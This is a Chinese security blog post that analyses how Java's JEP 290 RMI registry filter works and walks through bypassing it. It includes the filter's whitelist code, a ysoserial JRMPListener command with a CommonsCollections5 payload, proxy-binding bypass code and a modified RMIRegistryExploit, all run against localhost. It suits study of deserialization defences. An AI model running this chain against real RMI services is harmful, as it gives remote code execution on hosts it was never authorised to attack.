RMI：绕过JEP290——上

详情可以查看参考【1】中提到JDK6u141、JDK7u131、JDK 8u121加入了JEP 290限制，上节的部分攻击收到影响。

本节主要简单跟踪JEP290的限制，以及复现并简单跟踪bypass POC

JEP290

直接引用【1】，JEP290引入了以下过滤器

  1. 进程级过滤器

    可以将进程级序列化过滤器作为命令行参数-Djdk.serialFilter =传递，或将其设置为$JAVA_HOME/conf/security/java.security中的系统属性。

  2. 自定义过滤器

    可以使用自定义过滤器来重写特定流的进程级过滤器

  3. 内置过滤器

    JDK分别为RMI注册表和RMI分布式垃圾收集器提供了相应的内置过滤器。这两个过滤器都配置为白名单，即只允许反序列化特定类。

其中需要注意的是内置过滤器，RMI注册表和RMI分布式垃圾收集器 都默认内置，那么就影响到了前文《RMI1》中 利用DGC的攻击

RegistryImpl

upload successful

DGCImpl_Stub
upload successful

影响

前文《RMI: client-registry-server的互相攻击(一)》中提到的6种攻击，受影响情况如下

  1. 服务端攻击注册中心 [Y]
  2. 注册中心攻击客户端 [N]
    CommonsCollection1 payload失败，CommonsCollections5 成功，应该是和payload有关，和RMI无关
  3. 客户端攻击注册中心 [Y]
  4. 注册中心攻击服务端 [N]
  5. 客户端攻击服务端 [N]
  6. 服务端攻击客户端 [N]

顾名思义，RegistryImpl#registryFilter，是限制了Registry的相关序列化行为，仅Registry受影响。

registryFilter CODE

sun.rmi.registry.RegistryImpl#registryFilter

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
private static Status registryFilter(FilterInfo var0) {
        if (registryFilter != null) {
            Status var1 = registryFilter.checkInput(var0);
            if (var1 != Status.UNDECIDED) {
                return var1;
            }
        }

        if (var0.depth() > 20L) {
            return Status.REJECTED;
        } else {
            Class var2 = var0.serialClass();
            if (var2 != null) {
                if (!var2.isArray()) {
                    return String.class != var2 && !Number.class.isAssignableFrom(var2) && !Remote.class.isAssignableFrom(var2) && !Proxy.class.isAssignableFrom(var2) && !UnicastRef.class.isAssignableFrom(var2) && !RMIClientSocketFactory.class.isAssignableFrom(var2) && !RMIServerSocketFactory.class.isAssignableFrom(var2) && !ActivationID.class.isAssignableFrom(var2) && !UID.class.isAssignableFrom(var2) ? Status.REJECTED : Status.ALLOWED;
                } else {
                    return var0.arrayLength() >= 0L && var0.arrayLength() > 1000000L ? Status.REJECTED : Status.UNDECIDED;
                }
            } else {
                return Status.UNDECIDED;
            }
        }
    }

白名单

  • String.class
  • Number.class
  • Remote.class
  • Proxy.class
  • UnicastRef.class
  • RMIClientSocketFactory.class
  • RMIServerSocketFactory.class
  • ActivationID.class
  • UID.class

绕过

借用bsmali4师傅的一张图解释绕过原理

upload successful

server-registry-client三者间可以相互攻击，但是现在因为jep290，client\server -> registry链路被白名单过滤，仅剩上文的内置白名单。

所以理论上我们只能在registry控制以上的这些白名单类

但是，精髓：

Server/Client 与Registry 通信，也只需要以上的白名单内即可

那么答案呼之欲出了：
1. 从Server bind一个类
2. 序列化发送给registry
3. registry反序列化这个类，反序列化触发这个类的实例化
4. 这个类实例化时，建立一个rmi连接，至恶意的RMI Registry
5. 恶意RMI Registry攻击此时已经成为Client/Server角色的目标Registry

其中，步骤4可以深入跟进，这里直接使用默认，不深入研究

1
2
3
4
5
6
7
8
9
10
11
12
13
$ java -cp ysoserial.jar ysoserial.exploit.JRMPListener 10999 CommonsCollections5 "open -a  calculator.app"
* Opening JRMP listener on 10999
Have connection from /127.0.0.1:58027
Reading message...
Is DGC call for [[0:0:0, -1742010036]]
Sending return with payload for obj [0:0:0, 2]
Closing connection
Have connection from /127.0.0.1:58031
Reading message...
Is DGC call for [[0:0:0, -1742010036]]
Sending return with payload for obj [0:0:0, 2]
Closing connection
Have connection from /127.0.0.1:58035

Bypass Code

1
2
3
4
5
6
ObjID id = new ObjID(new Random().nextInt()); // RMI registry
TCPEndpoint te = new TCPEndpoint("127.0.0.1", 1199);
UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref);
Registry proxy = (Registry) Proxy.newProxyInstance(HelloServer.class.getClassLoader(), new Class[]{Registry.class}, obj);
registry.bind("hello", proxy);

其实完全就是java.rmi.registry.LocateRegistry$getRegistry

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
public static Registry getRegistry(String host, int port,
                                       RMIClientSocketFactory csf)
        throws RemoteException
    {
        Registry registry = null;

        if (port <= 0)
            port = Registry.REGISTRY_PORT;

        if (host == null || host.length() == 0) {
            // If host is blank (as returned by "file:" URL in 1.0.2 used in
            // java.rmi.Naming), try to convert to real local host name so
            // that the RegistryImpl's checkAccess will not fail.
            try {
                host = java.net.InetAddress.getLocalHost().getHostAddress();
            } catch (Exception e) {
                // If that failed, at least try "" (localhost) anyway...
                host = "";
            }
        }

        /*
         * Create a proxy for the registry with the given host, port, and
         * client socket factory.  If the supplied client socket factory is
         * null, then the ref type is a UnicastRef, otherwise the ref type
         * is a UnicastRef2.  If the property
         * java.rmi.server.ignoreStubClasses is true, then the proxy
         * returned is an instance of a dynamic proxy class that implements
         * the Registry interface; otherwise the proxy returned is an
         * instance of the pregenerated stub class for RegistryImpl.
         **/
        LiveRef liveRef =
            new LiveRef(new ObjID(ObjID.REGISTRY_ID),
                        new TCPEndpoint(host, port, csf, null),
                        false);
        RemoteRef ref =
            (csf == null) ? new UnicastRef(liveRef) : new UnicastRef2(liveRef);

        return (Registry) Util.createProxy(RegistryImpl.class, ref, false);
    }

复现

Vuln Registry

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;

public class Registry {
    public static void main(String[] args) {
        try {
            LocateRegistry.createRegistry(1099);

        } catch (RemoteException e) {
            e.printStackTrace();
        }
        while (true) ;
    }
}

Evil RMI Registry

1
java -cp ysoserial.jar ysoserial.exploit.JRMPListener 10999 CommonsCollections5 "open -a  calculator.app"

Evil Server Code

1
2
3
4
5
6
7
8
9
10
11
public void test_bypass_jep290() throws Exception{
    Registry registry = LocateRegistry.getRegistry(1099);

    ObjID id = new ObjID(new Random().nextInt()); // RMI registry
    TCPEndpoint te = new TCPEndpoint("127.0.0.1", 10999);
    UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
    RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref);
    Registry proxy = (Registry) Proxy.newProxyInstance(HelloServer.class.getClassLoader(), new Class[]{Registry.class}, obj);

    registry.bind("hello", proxy);
}

遗留问题

其中Evil Server Code 理论也可以用JRMPClient代替

1
java -cp ysoserial.jar ysoserial.exploit.RMIRegistryExploit 127.0.0.1 1099 JRMPClient 127.0.0.1:10999

但是ysoserial实现有问题，proxy外面又包了一层，需要改下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
public static void exploit(final Registry registry,
                           final Class<? extends ObjectPayload> payloadClass,
                           final String command) throws Exception {
    new ExecCheckingSecurityManager().callWrapped(new Callable<Void>(){public Void call() throws Exception {
        ObjectPayload payloadObj = payloadClass.newInstance();
        Object payload = payloadObj.getObject(command);
        String name = "pwned" + System.nanoTime();
        Remote remote = null;
        // 新增
        if(payloadClass.getName().equals("ysoserial.payloads.JRMPClient")) {
            remote = (Remote) payloadObj.getObject(command);
        } else {
            remote = Gadgets.createMemoitizedProxy(Gadgets.createMap(name, payload), Remote.class);
        }

        try {
            registry.bind(name, remote);
        } catch (Throwable e) {
            e.printStackTrace();
        }
        Utils.releasePayload(payloadObj, payload);

        return null;
    }});
}

小结

本节简单跟踪了绕过JEP290攻击RMI Registry的方式，原理是通过RMI+特殊的类，在白名单范围内，作为server角色连接 恶意RMI Registry并bind，达到registry命令执行的目的。

其中很多点没有深入分析，例如只是建立了恶意RMI的连接，但是没执行bind，为什么可以打成功？比较复杂，下节单独讲

参考【3】和【4】，还有很多知识点没覆盖，本节只能当个引子，后续有空再深入分析。

参考

tag:

    缺失模块。
    1、请确保node版本大于6.2
    2、在博客根目录（注意不是yilia根目录）执行以下命令：
    npm i hexo-generator-json-content --save

    3、在根目录_config.yml里添加配置： 

      jsonContent:
    meta: false
    pages: false
    posts:
      title: true
      date: true
      path: true
      text: false
      raw: false
      content: false
      slug: false
      updated: false
      comments: false
      link: false
      permalink: false
      excerpt: false
      categories: false
      tags: true